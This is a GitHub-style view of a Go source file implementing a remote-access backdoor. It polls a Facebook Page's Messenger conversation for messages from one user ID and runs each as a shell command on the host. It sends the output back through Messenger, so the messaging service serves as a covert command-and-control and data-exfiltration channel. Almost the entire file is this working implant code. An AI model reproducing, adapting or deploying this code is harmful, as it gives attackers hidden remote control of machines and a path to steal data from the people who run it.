-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathmain.go
More file actions
154 lines (138 loc) · 3.95 KB
/
main.go
File metadata and controls
154 lines (138 loc) · 3.95 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
package main
import (
"fmt"
"math/rand"
"os"
"strings"
"time"
fb "github.com/huandu/facebook/v2"
)
const (
PAGE_ACCESS_TOKEN = "YOUR_PAGE_ACCESS_TOKEN"
PAGE_ID = "YOUR_PAGE_ID"
USER_PSID = "YOUR_USER_PSID"
POLLING_INTERVAL = 10
MAX_MSG_LEN = 2000
)
var MSG_SEND_RETRIES = 0
func main() {
session := &fb.Session{
Version: "v22.0",
}
session.SetAccessToken(PAGE_ACCESS_TOKEN)
if err := session.Validate(); err != nil {
os.Exit(1)
}
for {
message, err := fetch_latest_message(session, PAGE_ID, USER_PSID)
if err != nil {
time.Sleep(POLLING_INTERVAL * time.Second)
} else {
if strings.ToLower(message) == "quit" {
send_message(session, "Quitting ...", USER_PSID)
break
} else {
result := run_command(message)
send_command_result(session, result, USER_PSID)
}
}
time.Sleep(POLLING_INTERVAL * time.Second)
}
}
// fetch the latest message in convo between the provided user ID and Facebook page
func fetch_latest_message(session *fb.Session, pageID string, userID string) (string, error) {
// fetch all conversations for the page
res, err := session.Get(fmt.Sprintf("/%s/conversations", pageID), fb.Params{
"fields": "id,participants,messages.limit(1){message,from}",
})
if err != nil {
return "", fmt.Errorf("error fetching conversations: %v", err)
}
conversations := res.Get("data").([]interface{})
for _, c := range conversations {
convo := c.(map[string]interface{})
// check if the user ID is one of the participants
participants := convo["participants"].(map[string]interface{})["data"].([]interface{})
for _, p := range participants {
participant := p.(map[string]interface{})
if participant["id"] == userID {
// found the correct conversation
messages := convo["messages"].(map[string]interface{})["data"].([]interface{})
if len(messages) == 0 {
return "", fmt.Errorf("no messages in conversation")
}
latest := messages[0].(map[string]interface{})
from := latest["from"].(map[string]interface{})["id"].(string)
if from == userID {
// it is a command to be executed :)
return latest["message"].(string), nil
}
return "", fmt.Errorf("latest message not from user")
}
}
}
return "", fmt.Errorf("no conversation with user %s found", userID)
}
// send back the command result
func send_command_result(session *fb.Session, message string, userID string) {
for start := 0; start <= len(message); start += MAX_MSG_LEN {
end := start + MAX_MSG_LEN
if end > len(message) {
end = len(message)
}
for err := send_message(session, message[start:end], userID); err != nil; MSG_SEND_RETRIES++ {
if MSG_SEND_RETRIES == 5 {
return
}
time.Sleep(time.Duration(rand.Intn(30) * int(time.Second)))
err = send_message(session, message[start:end], userID)
}
}
}
// send the provided message to the specified user ID
func send_message(session *fb.Session, message string, userID string) error {
params := fb.Params{
"recipient": fb.Params{
"id": userID,
},
"message": fb.Params{
"text": message,
},
}
resp, err := session.Post("/me/messages", params)
if resp["error"] != nil {
err = fmt.Errorf("failed to send message: %v", resp["error"])
}
return err
}
// run the provided command
func run_command(command string) string {
fields := strings.Fields(command)
result := ""
if strings.ToLower(fields[0]) == "cd" {
if len(fields) == 1 {
// the command is just "cd": return the path to the home directory
if home, err := os.UserHomeDir(); err != nil {
result = err.Error()
} else {
result = home
}
} else {
// change the directory
if err := os.Chdir(fields[1]); err != nil {
result = fmt.Sprintf("error: %s", err.Error())
} else {
result = fmt.Sprintf("Directory changed to %s", fields[1])
}
}
} else {
// execute as just a normal command
output, err := exec_shell_command(command)
if err != nil {
result = err.Error()
} else {
result = string(output)
}
}
return result
}